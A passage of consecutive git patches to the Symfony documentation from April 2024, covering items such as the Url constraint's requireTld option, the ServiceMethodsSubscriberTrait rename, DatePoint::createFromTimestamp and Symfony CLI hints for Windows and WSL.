+    When making the URI expire, an `_expiration` query parameter is added to the URL and the expiration date is
+    converted into a timestamp
+
+.. versionadded:: 7.1
+
+    The possibility to add an expiration date for a signed URI was introduced in Symfony 7.1.
+
 Troubleshooting
 ---------------
 

From c4ed2edc8c58f537aeaa1718ffe034b0c70c3a51 Mon Sep 17 00:00:00 2001
From: Constantin Ross <constantin.ross@active-value.de>
Date: Sat, 6 Apr 2024 23:52:59 +0200
Subject: [PATCH 5976/7107] Fix nullable entitymanager in functional repository
 tests

---
 testing/database.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing/database.rst b/testing/database.rst
index 3f7ce3704f8..0f19ee89b41 100644
--- a/testing/database.rst
+++ b/testing/database.rst
@@ -99,7 +99,7 @@ so, get the entity manager via the service container as follows::
 
     class ProductRepositoryTest extends KernelTestCase
     {
-        private EntityManager $entityManager;
+        private ?EntityManager $entityManager;
 
         protected function setUp(): void
         {

From d978dc549f28feaac4f5112ff2bf3fba9172e8ce Mon Sep 17 00:00:00 2001
From: Yassine Guedidi <yassine@guedidi.com>
Date: Sat, 6 Apr 2024 12:11:25 +0200
Subject: [PATCH 5977/7107] Document Symfony CLI `--no-workers` option

---
 setup/symfony_server.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index c609556a151..d3a7c1959f4 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -327,6 +327,7 @@ There are several options that you can set using a ``.symfony.local.yaml`` confi
         no_tls: true # Use HTTP instead of HTTPS
         daemon: true # Run the server in the background
         use_gzip: true # Toggle GZIP compression
+        no_workers: true # Do not start workers
 
 .. caution::
 
@@ -364,6 +365,11 @@ If you like some processes to start automatically, along with the webserver
         # auto start Docker compose when starting server (available since Symfony CLI 5.7.0)
         docker_compose: ~
 
+.. tip::
+
+    You may want to not start workers on some environments like CI. You can use the
+    ``--no-workers`` option to start the server without starting workers.
+
 .. _symfony-server-docker:
 
 Docker Integration

From fa1934c08d505df970dafd840cb7604c9f4b9e46 Mon Sep 17 00:00:00 2001
From: Yonel Ceruto <yonel.ceruto@scnd.com>
Date: Sun, 7 Apr 2024 12:02:21 -0400
Subject: [PATCH 5978/7107] Documenting items type in the MapRequestPayload
 attribute

---
 controller.rst | 26 ++++++++++++++++++++++++++
 1 file changed, 26 insertions(+)

diff --git a/controller.rst b/controller.rst
index c44f0dafdac..2edf6affb2f 100644
--- a/controller.rst
+++ b/controller.rst
@@ -555,6 +555,32 @@ if you want to map a nested array of specific DTOs::
         ) {}
     }
 
+Nevertheless, if you want to send the array of payloads directly like this:
+
+.. code-block:: json
+
+    [
+        {
+            "firstName": "John",
+            "lastName": "Smith",
+            "age": 28
+        },
+        {
+            "firstName": "Jane",
+            "lastName": "Doe",
+            "age": 30
+        }
+    ]
+
+Map the parameter as an array and configure the type of each element in the attribute::
+
+    public function dashboard(
+        #[MapRequestPayload(type: UserDTO::class)] array $users
+    ): Response
+    {
+        // ...
+    }
+
 Managing the Session
 --------------------
 

From 7341079f8999a05ce94616a5017675a51d3f901b Mon Sep 17 00:00:00 2001
From: Alexis Lefebvre <alexislefebvre+github@gmail.com>
Date: Mon, 8 Apr 2024 15:12:58 +0200
Subject: [PATCH 5979/7107] feat: add warning for number constraints with PHP
 7.x

---
 reference/constraints/GreaterThan.rst                 | 2 ++
 reference/constraints/GreaterThanOrEqual.rst          | 2 ++
 reference/constraints/LessThan.rst                    | 2 ++
 reference/constraints/LessThanOrEqual.rst             | 2 ++
 reference/constraints/Negative.rst                    | 2 ++
 reference/constraints/NegativeOrZero.rst              | 2 ++
 reference/constraints/Positive.rst                    | 2 ++
 reference/constraints/PositiveOrZero.rst              | 2 ++
 reference/constraints/_php7-string-and-number.rst.inc | 6 ++++++
 9 files changed, 22 insertions(+)
 create mode 100644 reference/constraints/_php7-string-and-number.rst.inc

diff --git a/reference/constraints/GreaterThan.rst b/reference/constraints/GreaterThan.rst
index 22331edd957..02659140122 100644
--- a/reference/constraints/GreaterThan.rst
+++ b/reference/constraints/GreaterThan.rst
@@ -12,6 +12,8 @@ Class       :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThan`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThanValidator`
 ==========  ===================================================================
 
+.. include:: /reference/constraints/_php7-string-and-number.rst.inc
+
 Basic Usage
 -----------
 
diff --git a/reference/constraints/GreaterThanOrEqual.rst b/reference/constraints/GreaterThanOrEqual.rst
index 79578c5a5f7..38621c1cb1c 100644
--- a/reference/constraints/GreaterThanOrEqual.rst
+++ b/reference/constraints/GreaterThanOrEqual.rst
@@ -11,6 +11,8 @@ Class       :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThanOrEqu
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThanOrEqualValidator`
 ==========  ===================================================================
 
+.. include:: /reference/constraints/_php7-string-and-number.rst.inc
+
 Basic Usage
 -----------
 
diff --git a/reference/constraints/LessThan.rst b/reference/constraints/LessThan.rst
index 22ebce5c094..d35050826f3 100644
--- a/reference/constraints/LessThan.rst
+++ b/reference/constraints/LessThan.rst
@@ -12,6 +12,8 @@ Class       :class:`Symfony\\Component\\Validator\\Constraints\\LessThan`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\LessThanValidator`
 ==========  ===================================================================
 
+.. include:: /reference/constraints/_php7-string-and-number.rst.inc
+
 Basic Usage
 -----------
 
diff --git a/reference/constraints/LessThanOrEqual.rst b/reference/constraints/LessThanOrEqual.rst
index 05e2dedbfe5..dd32de0fe0f 100644
--- a/reference/constraints/LessThanOrEqual.rst
+++ b/reference/constraints/LessThanOrEqual.rst
@@ -11,6 +11,8 @@ Class       :class:`Symfony\\Component\\Validator\\Constraints\\LessThanOrEqual`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\LessThanOrEqualValidator`
 ==========  ===================================================================
 
+.. include:: /reference/constraints/_php7-string-and-number.rst.inc
+
 Basic Usage
 -----------
 
diff --git a/reference/constraints/Negative.rst b/reference/constraints/Negative.rst
index fa00910e790..078a4cf9b90 100644
--- a/reference/constraints/Negative.rst
+++ b/reference/constraints/Negative.rst
@@ -11,6 +11,8 @@ Class       :class:`Symfony\\Component\\Validator\\Constraints\\Negative`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\LessThanValidator`
 ==========  ===================================================================
 
+.. include:: /reference/constraints/_php7-string-and-number.rst.inc
+
 Basic Usage
 -----------
 
diff --git a/reference/constraints/NegativeOrZero.rst b/reference/constraints/NegativeOrZero.rst
index e356a21d20f..593bd824c05 100644
--- a/reference/constraints/NegativeOrZero.rst
+++ b/reference/constraints/NegativeOrZero.rst
@@ -10,6 +10,8 @@ Class       :class:`Symfony\\Component\\Validator\\Constraints\\NegativeOrZero`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\LessThanOrEqualValidator`
 ==========  ===================================================================
 
+.. include:: /reference/constraints/_php7-string-and-number.rst.inc
+
 Basic Usage
 -----------
 
diff --git a/reference/constraints/Positive.rst b/reference/constraints/Positive.rst
index 326e66e7c9b..ca0d030cb64 100644
--- a/reference/constraints/Positive.rst
+++ b/reference/constraints/Positive.rst
@@ -11,6 +11,8 @@ Class       :class:`Symfony\\Component\\Validator\\Constraints\\Positive`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThanValidator`
 ==========  ===================================================================
 
+.. include:: /reference/constraints/_php7-string-and-number.rst.inc
+
 Basic Usage
 -----------
 
diff --git a/reference/constraints/PositiveOrZero.rst b/reference/constraints/PositiveOrZero.rst
index 2d39d0d6d19..808eafd071a 100644
--- a/reference/constraints/PositiveOrZero.rst
+++ b/reference/constraints/PositiveOrZero.rst
@@ -10,6 +10,8 @@ Class       :class:`Symfony\\Component\\Validator\\Constraints\\PositiveOrZero`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThanOrEqualValidator`
 ==========  ===================================================================
 
+.. include:: /reference/constraints/_php7-string-and-number.rst.inc
+
 Basic Usage
 -----------
 
diff --git a/reference/constraints/_php7-string-and-number.rst.inc b/reference/constraints/_php7-string-and-number.rst.inc
new file mode 100644
index 00000000000..6da43da6378
--- /dev/null
+++ b/reference/constraints/_php7-string-and-number.rst.inc
@@ -0,0 +1,6 @@
+.. caution::
+
+    When using PHP 7.x, if the value is a string (e.g. ``1234asd``), the validator
+    will not trigger an error. In this case, you must also use the
+    :doc:`Type constraint </reference/constraints/Type>` with
+    ``numeric``, ``integer`, etc. to reject strings.

From fcef90726dc302e04e15766ba7852e4124e80a86 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 9 Apr 2024 10:48:10 +0200
Subject: [PATCH 5980/7107] [Validator] Remove a no longer needed caution

---
 reference/constraints/GreaterThan.rst                 | 2 --
 reference/constraints/GreaterThanOrEqual.rst          | 2 --
 reference/constraints/LessThan.rst                    | 2 --
 reference/constraints/LessThanOrEqual.rst             | 2 --
 reference/constraints/Negative.rst                    | 2 --
 reference/constraints/NegativeOrZero.rst              | 2 --
 reference/constraints/Positive.rst                    | 2 --
 reference/constraints/PositiveOrZero.rst              | 2 --
 reference/constraints/_php7-string-and-number.rst.inc | 6 ------
 9 files changed, 22 deletions(-)
 delete mode 100644 reference/constraints/_php7-string-and-number.rst.inc

diff --git a/reference/constraints/GreaterThan.rst b/reference/constraints/GreaterThan.rst
index 26477e6b12f..4f2e34bcbfa 100644
--- a/reference/constraints/GreaterThan.rst
+++ b/reference/constraints/GreaterThan.rst
@@ -12,8 +12,6 @@ Class       :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThan`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThanValidator`
 ==========  ===================================================================
 
-.. include:: /reference/constraints/_php7-string-and-number.rst.inc
-
 Basic Usage
 -----------
 
diff --git a/reference/constraints/GreaterThanOrEqual.rst b/reference/constraints/GreaterThanOrEqual.rst
index cdda3d98aa5..e5a71e5f788 100644
--- a/reference/constraints/GreaterThanOrEqual.rst
+++ b/reference/constraints/GreaterThanOrEqual.rst
@@ -11,8 +11,6 @@ Class       :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThanOrEqu
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThanOrEqualValidator`
 ==========  ===================================================================
 
-.. include:: /reference/constraints/_php7-string-and-number.rst.inc
-
 Basic Usage
 -----------
 
diff --git a/reference/constraints/LessThan.rst b/reference/constraints/LessThan.rst
index d9c2e9b7398..964bfbb3527 100644
--- a/reference/constraints/LessThan.rst
+++ b/reference/constraints/LessThan.rst
@@ -12,8 +12,6 @@ Class       :class:`Symfony\\Component\\Validator\\Constraints\\LessThan`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\LessThanValidator`
 ==========  ===================================================================
 
-.. include:: /reference/constraints/_php7-string-and-number.rst.inc
-
 Basic Usage
 -----------
 
diff --git a/reference/constraints/LessThanOrEqual.rst b/reference/constraints/LessThanOrEqual.rst
index 1f2fb8903dc..9420c3e4376 100644
--- a/reference/constraints/LessThanOrEqual.rst
+++ b/reference/constraints/LessThanOrEqual.rst
@@ -11,8 +11,6 @@ Class       :class:`Symfony\\Component\\Validator\\Constraints\\LessThanOrEqual`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\LessThanOrEqualValidator`
 ==========  ===================================================================
 
-.. include:: /reference/constraints/_php7-string-and-number.rst.inc
-
 Basic Usage
 -----------
 
diff --git a/reference/constraints/Negative.rst b/reference/constraints/Negative.rst
index 9087e776714..0d043ee8f6e 100644
--- a/reference/constraints/Negative.rst
+++ b/reference/constraints/Negative.rst
@@ -11,8 +11,6 @@ Class       :class:`Symfony\\Component\\Validator\\Constraints\\Negative`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\LessThanValidator`
 ==========  ===================================================================
 
-.. include:: /reference/constraints/_php7-string-and-number.rst.inc
-
 Basic Usage
 -----------
 
diff --git a/reference/constraints/NegativeOrZero.rst b/reference/constraints/NegativeOrZero.rst
index 868a38f9ee3..5f221950528 100644
--- a/reference/constraints/NegativeOrZero.rst
+++ b/reference/constraints/NegativeOrZero.rst
@@ -10,8 +10,6 @@ Class       :class:`Symfony\\Component\\Validator\\Constraints\\NegativeOrZero`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\LessThanOrEqualValidator`
 ==========  ===================================================================
 
-.. include:: /reference/constraints/_php7-string-and-number.rst.inc
-
 Basic Usage
 -----------
 
diff --git a/reference/constraints/Positive.rst b/reference/constraints/Positive.rst
index e3f32c71acf..b43fdde67d8 100644
--- a/reference/constraints/Positive.rst
+++ b/reference/constraints/Positive.rst
@@ -11,8 +11,6 @@ Class       :class:`Symfony\\Component\\Validator\\Constraints\\Positive`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThanValidator`
 ==========  ===================================================================
 
-.. include:: /reference/constraints/_php7-string-and-number.rst.inc
-
 Basic Usage
 -----------
 
diff --git a/reference/constraints/PositiveOrZero.rst b/reference/constraints/PositiveOrZero.rst
index e06fef0bd42..4aa8420993c 100644
--- a/reference/constraints/PositiveOrZero.rst
+++ b/reference/constraints/PositiveOrZero.rst
@@ -10,8 +10,6 @@ Class       :class:`Symfony\\Component\\Validator\\Constraints\\PositiveOrZero`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\GreaterThanOrEqualValidator`
 ==========  ===================================================================
 
-.. include:: /reference/constraints/_php7-string-and-number.rst.inc
-
 Basic Usage
 -----------
 
diff --git a/reference/constraints/_php7-string-and-number.rst.inc b/reference/constraints/_php7-string-and-number.rst.inc
deleted file mode 100644
index 6da43da6378..00000000000
--- a/reference/constraints/_php7-string-and-number.rst.inc
+++ /dev/null
@@ -1,6 +0,0 @@
-.. caution::
-
-    When using PHP 7.x, if the value is a string (e.g. ``1234asd``), the validator
-    will not trigger an error. In this case, you must also use the
-    :doc:`Type constraint </reference/constraints/Type>` with
-    ``numeric``, ``integer`, etc. to reject strings.

From b1789e79b09552c7d88573266051ab73a56d6c94 Mon Sep 17 00:00:00 2001
From: llupa <41073314+llupa@users.noreply.github.com>
Date: Fri, 5 Apr 2024 12:12:39 +0200
Subject: [PATCH 5981/7107] Add more hints when using Symfony CLI in Windows

---
 setup/symfony_server.rst | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index c5608a871fb..a3b5d9e8ace 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -106,6 +106,14 @@ trust store, registers it in Firefox (this is required only for that browser)
 and creates a default certificate for ``localhost`` and ``127.0.0.1``. In other
 words, it does everything for you.
 
+.. tip::
+
+    If you are doing this in WSL (Windows Subsystem for Linux), the newly created
+    local certificate authority needs to be manually imported in Windows. The file
+    is located in ``wsl`` at ``~/.symfony5/certs/default.p12``. The easiest way to
+    do so is to run ``explorer.exe \`wslpath -w $HOME/.symfony5/certs\``` from ``wsl``
+    and double-click the ``default.p12`` file.
+
 Before browsing your local application with HTTPS instead of HTTP, restart its
 server stopping and starting it again.
 
@@ -223,6 +231,9 @@ If the proxy doesn't work as explained in the following sections, check these:
 * Some Operating Systems (e.g. macOS) don't apply by default the proxy settings
   to local hosts and domains. You may need to remove ``*.local`` and/or other
   IP addresses from that list.
+* Windows Operating System **requires** ``localhost`` instead of ``127.0.0.1``
+  when configuring the automatic proxy, otherwise you won't be able to access
+  your local domain from your browser running in Windows.
 
 Defining the Local Domain
 ~~~~~~~~~~~~~~~~~~~~~~~~~

From bb68008b4bb3877e058b485958acb9f22a77c48f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 5 Apr 2024 09:58:09 +0200
Subject: [PATCH 5982/7107] [Validator] Add a requireTld option to Url
 constraint

---
 reference/constraints/Url.rst | 111 ++++++++++++++++++++++++++++++++++
 1 file changed, 111 insertions(+)

diff --git a/reference/constraints/Url.rst b/reference/constraints/Url.rst
index 2c3420df7c6..b3a46d5aec4 100644
--- a/reference/constraints/Url.rst
+++ b/reference/constraints/Url.rst
@@ -307,3 +307,114 @@ also relative URLs that contain no protocol (e.g. ``//example.com``).
                 ]));
             }
         }
+
+``requireTld``
+~~~~~~~~~~~~~~
+
+**type**: ``boolean`` **default**: ``false``
+
+.. versionadded:: 7.1
+
+    The ``requiredTld`` option was introduced in Symfony 7.1.
+
+By default, URLs like ``https://aaa`` or ``https://foobar`` are considered valid
+because they are tecnically correct according to the `URL spec`_. If you set this option
+to ``true``, the host part of the URL will have to include a TLD (top-level domain
+name): e.g. ``https://example.com`` will be valid but ``https://example`` won't.
+
+.. note::
+
+    This constraint does not validate that the given TLD value is included in
+    the `list of official top-level domains`_ (because that list is growing
+    continuously and it's hard to keep track of it).
+
+``tldMessage``
+~~~~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``This URL does not contain a TLD.``
+
+.. versionadded:: 7.1
+
+    The ``tldMessage`` option was introduced in Symfony 7.1.
+
+This message is shown if the ``requireTld`` option is set to ``true`` and the URL
+does not contain at least one TLD.
+
+You can use the following parameters in this message:
+
+===============  ==============================================================
+Parameter        Description
+===============  ==============================================================
+``{{ value }}``  The current (invalid) value
+``{{ label }}``  Corresponding form field label
+===============  ==============================================================
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Entity/Website.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Website
+        {
+            #[Assert\Url(
+                requireTld: true,
+                tldMessage: 'Add at least one TLD to the {{ value }} URL.',
+            )]
+            protected string $homepageUrl;
+        }
+
+    .. code-block:: yaml
+
+        # config/validator/validation.yaml
+        App\Entity\Website:
+            properties:
+                homepageUrl:
+                    - Url:
+                        requireTld: true
+                        tldMessage: Add at least one TLD to the {{ value }} URL.
+
+    .. code-block:: xml
+
+        <!-- config/validator/validation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
+
+            <class name="App\Entity\Website">
+                <property name="homepageUrl">
+                    <constraint name="Url">
+                        <option name="requireTld">true</option>
+                        <option name="tldMessage">Add at least one TLD to the {{ value }} URL.</option>
+                    </constraint>
+                </property>
+            </class>
+        </constraint-mapping>
+
+    .. code-block:: php
+
+        // src/Entity/Website.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+        use Symfony\Component\Validator\Mapping\ClassMetadata;
+
+        class Website
+        {
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
+            {
+                $metadata->addPropertyConstraint('homepageUrl', new Assert\Url([
+                    'requireTld' => true,
+                    'tldMessage' => 'Add at least one TLD to the {{ value }} URL.',
+                ]));
+            }
+        }
+
+.. _`URL spec`: https://datatracker.ietf.org/doc/html/rfc1738
+.. _`list of official top-level domains`: https://en.wikipedia.org/wiki/List_of_Internet_top-level_domains

From 85268b49b3bf7aa9e711a35d40047b814bc36931 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 9 Apr 2024 17:10:00 +0200
Subject: [PATCH 5983/7107] Minor tweaks

---
 workflow.rst | 23 ++++++++++-------------
 1 file changed, 10 insertions(+), 13 deletions(-)

diff --git a/workflow.rst b/workflow.rst
index cd2d9ebd3c5..04e8eb18ef5 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -251,10 +251,9 @@ what actions are allowed on a blog post::
 Using a multiple state marking store
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-If you are creating a :doc:`workflow </workflow/workflow-and-state-machine>`
-, your marking store may need to contain multiple places at the same time.
-If you are using Doctrine, the matching column definition should use the
-type ``json`` ::
+If you are creating a :doc:`workflow </workflow/workflow-and-state-machine>`,
+your marking store may need to contain multiple places at the same time. That's why,
+if you are using Doctrine, the matching column definition should use the type ``json``::
 
     // src/Entity/BlogPost.php
     namespace App\Entity;
@@ -270,21 +269,19 @@ type ``json`` ::
         #[ORM\Column]
         private int $id;
 
-        // Type declaration is not mandatory and
-        // matches the guessed value from Doctrine
-        #[ORM\Column(type: Types::JSON)] // or #[ORM\Column(type: 'json')]
+        #[ORM\Column(type: Types::JSON)]
         private array $currentPlaces;
 
         // ...
     }
 
-.. tip::
+.. caution::
 
-    You should not use the type ``simple_array`` for your marking store.
-    Inside a multiple state marking store, places are store as keys with
-    a value of one, such as ``['draft' => 1]``. If the marking store contains
-    only one place, this Doctrine type will store its value only as a string,
-    resulting in the loss of the object's current place.
+    You should not use the type ``simple_array`` for your marking store. Inside
+    a multiple state marking store, places are stored as keys with a value of one,
+    such as ``['draft' => 1]``. If the marking store contains only one place,
+    this Doctrine type will store its value only as a string, resulting in the
+    loss of the object's current place.
 
 Accessing the Workflow in a Class
 ---------------------------------

From f17331c882ab9cf9a870003929f58106bd0d14b0 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=B4me=20Tamarelle?= <jerome@tamarelle.net>
Date: Tue, 9 Apr 2024 14:57:27 +0200
Subject: [PATCH 5984/7107] ServiceSubscriberTrait is deprecated and replaced
 by ServiceMethodsSubscriberTrait

---
 service_container/service_subscribers_locators.rst | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 21a7ab295d2..d60b438694c 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -859,7 +859,7 @@ the following order:
 Service Subscriber Trait
 ------------------------
 
-The :class:`Symfony\\Contracts\\Service\\ServiceSubscriberTrait` provides an
+The :class:`Symfony\\Contracts\\Service\\ServiceMethodsSubscriberTrait` provides an
 implementation for :class:`Symfony\\Contracts\\Service\\ServiceSubscriberInterface`
 that looks through all methods in your class that are marked with the
 :class:`Symfony\\Contracts\\Service\\Attribute\\SubscribedService` attribute. It
@@ -873,12 +873,12 @@ services based on type-hinted helper methods::
     use Psr\Log\LoggerInterface;
     use Symfony\Component\Routing\RouterInterface;
     use Symfony\Contracts\Service\Attribute\SubscribedService;
+    use Symfony\Contracts\Service\ServiceMethodsSubscriberTrait;
     use Symfony\Contracts\Service\ServiceSubscriberInterface;
-    use Symfony\Contracts\Service\ServiceSubscriberTrait;
 
     class MyService implements ServiceSubscriberInterface
     {
-        use ServiceSubscriberTrait;
+        use ServiceMethodsSubscriberTrait;
 
         public function doSomething(): void
         {
@@ -935,12 +935,12 @@ and compose your services with them::
     // src/Service/MyService.php
     namespace App\Service;
 
+    use Symfony\Contracts\Service\ServiceMethodsSubscriberTrait;
     use Symfony\Contracts\Service\ServiceSubscriberInterface;
-    use Symfony\Contracts\Service\ServiceSubscriberTrait;
 
     class MyService implements ServiceSubscriberInterface
     {
-        use ServiceSubscriberTrait, LoggerAware, RouterAware;
+        use ServiceMethodsSubscriberTrait, LoggerAware, RouterAware;
 
         public function doSomething(): void
         {
@@ -977,12 +977,12 @@ Here's an example::
     use Symfony\Component\DependencyInjection\Attribute\Target;
     use Symfony\Component\Routing\RouterInterface;
     use Symfony\Contracts\Service\Attribute\SubscribedService;
+    use Symfony\Contracts\Service\ServiceMethodsSubscriberTrait;
     use Symfony\Contracts\Service\ServiceSubscriberInterface;
-    use Symfony\Contracts\Service\ServiceSubscriberTrait;
 
     class MyService implements ServiceSubscriberInterface
     {
-        use ServiceSubscriberTrait;
+        use ServiceMethodsSubscriberTrait;
 
         public function doSomething(): void
         {

From 078d6f909bfc3e45ca119b4ed5e6d0b50079db78 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 10 Apr 2024 12:46:19 +0200
Subject: [PATCH 5985/7107] Added the versionadded directive

---
 service_container/service_subscribers_locators.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index d60b438694c..25ebe97e7e7 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -899,6 +899,11 @@ services based on type-hinted helper methods::
         }
     }
 
+.. versionadded:: 7.1
+
+    The ``ServiceMethodsSubscriberTrait`` was introduced in Symfony 7.1.
+    In previous Symfony versions it was called ``ServiceSubscriberTrait``.
+
 This  allows you to create helper traits like RouterAware, LoggerAware, etc...
 and compose your services with them::
 

From 9bd321de567074972ce6f21cb3a92b98739e30e1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 9 Apr 2024 17:59:15 +0200
Subject: [PATCH 5986/7107] [Clock] Document createFromTimestamp() method

---
 components/clock.rst | 15 +++++++++++++++
 1 file changed, 15 insertions(+)

diff --git a/components/clock.rst b/components/clock.rst
index 45ec484eef5..933f7310d75 100644
--- a/components/clock.rst
+++ b/components/clock.rst
@@ -229,6 +229,21 @@ The constructor also allows setting a timezone or custom referenced date::
     $referenceDate = new \DateTimeImmutable();
     $relativeDate = new DatePoint('+1month', reference: $referenceDate);
 
+The ``DatePoint`` class also provides a named constructor to create dates from
+timestamps::
+
+    $dateOfFirstCommitOfSymfonyProject = DatePoint::createFromTimestamp(1129645656);
+    // equivalent to:
+    // $dateOfFirstCommitOfSymfonyProject = (new \DateTimeImmutable())->setTimestamp(1129645656);
+
+    // negative timestamps (for dates before January 1, 1970) and fractional timestamps
+    // (for high precision sub-second datetimes) are also supported
+    $dateOfFirstMoonLanding = DatePoint::createFromTimestamp(-14182940);
+
+.. versionadded:: 7.1
+
+    The ``createFromTimestamp()`` method was introduced in Symfony 7.1.
+
 .. note::
 
     In addition ``DatePoint`` offers stricter return types and provides consistent

From e801d38f755a6073bedcb1e64d8aafcd21de9abf Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 10 Apr 2024 15:30:58 +0200
Subject: [PATCH 5987/7107] Minor tweak

---
 components/clock.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/components/clock.rst b/components/clock.rst
index 933f7310d75..cdbbdd56e6b 100644
--- a/components/clock.rst
+++ b/components/clock.rst
@@ -232,11 +232,11 @@ The constructor also allows setting a timezone or custom referenced date::
 The ``DatePoint`` class also provides a named constructor to create dates from
 timestamps::
 
-    $dateOfFirstCommitOfSymfonyProject = DatePoint::createFromTimestamp(1129645656);
+    $dateOfFirstCommitToSymfonyProject = DatePoint::createFromTimestamp(1129645656);
     // equivalent to:
-    // $dateOfFirstCommitOfSymfonyProject = (new \DateTimeImmutable())->setTimestamp(1129645656);
+    // $dateOfFirstCommitToSymfonyProject = (new \DateTimeImmutable())->setTimestamp(1129645656);
 
-    // negative timestamps (for dates before January 1, 1970) and fractional timestamps
+    // negative timestamps (for dates before January 1, 1970) and float timestamps
     // (for high precision sub-second datetimes) are also supported
     $dateOfFirstMoonLanding = DatePoint::createFromTimestamp(-14182940);
 

From c7c595928951be6bb6953b40410f3adb569c38da Mon Sep 17 00:00:00 2001
From: Robin Weller <robin.weller@codm.de>
Date: Thu, 11 Apr 2024 13:26:12 +0200
Subject: [PATCH 5988/7107] fixed argument order for UniqueEntity

---
 reference/constraints/UniqueEntity.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/reference/constraints/UniqueEntity.rst b/reference/constraints/UniqueEntity.rst
index 0f089b2518b..5ae4b29e8ed 100644
--- a/reference/constraints/UniqueEntity.rst
+++ b/reference/constraints/UniqueEntity.rst
@@ -211,8 +211,8 @@ Consider this example:
          * @ORM\Entity
          * @UniqueEntity(
          *     fields={"host", "port"},
-         *     errorPath="port",
-         *     message="This port is already in use on that host."
+         *     message="This port is already in use on that host.",
+         *     errorPath="port"
          * )
          */
         class Service
@@ -240,8 +240,8 @@ Consider this example:
         #[ORM\Entity]
         #[UniqueEntity(
             fields: ['host', 'port'],
-            errorPath: 'port',
             message: 'This port is already in use on that host.',
+            errorPath: 'port',
         )]
         class Service
         {
@@ -259,8 +259,8 @@ Consider this example:
             constraints:
                 - Symfony\Bridge\Doctrine\Validator\Constraints\UniqueEntity:
                     fields: [host, port]
-                    errorPath: port
                     message: 'This port is already in use on that host.'
+                    errorPath: port
 
     .. code-block:: xml
 
@@ -276,8 +276,8 @@ Consider this example:
                         <value>host</value>
                         <value>port</value>
                     </option>
-                    <option name="errorPath">port</option>
                     <option name="message">This port is already in use on that host.</option>
+                    <option name="errorPath">port</option>
                 </constraint>
             </class>
 
@@ -300,8 +300,8 @@ Consider this example:
             {
                 $metadata->addConstraint(new UniqueEntity([
                     'fields' => ['host', 'port'],
-                    'errorPath' => 'port',
                     'message' => 'This port is already in use on that host.',
+                    'errorPath' => 'port',
                 ]));
             }
         }

From f9c53b97e032e7c78c6f02d5e333d1b2702bbb35 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 11 Apr 2024 11:18:33 +0200
Subject: [PATCH 5989/7107] [Mailer] Add the `allowed_recipients` option

---
 mailer.rst | 69 ++++++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 69 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index f32f0ff0cfc..2ce97859b11 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1852,6 +1852,75 @@ a specific address, instead of the *real* address:
             ;
         };
 
+You may also go even further by restricting the recipient to a specific
+address, except for some specific ones. This can be done by using the
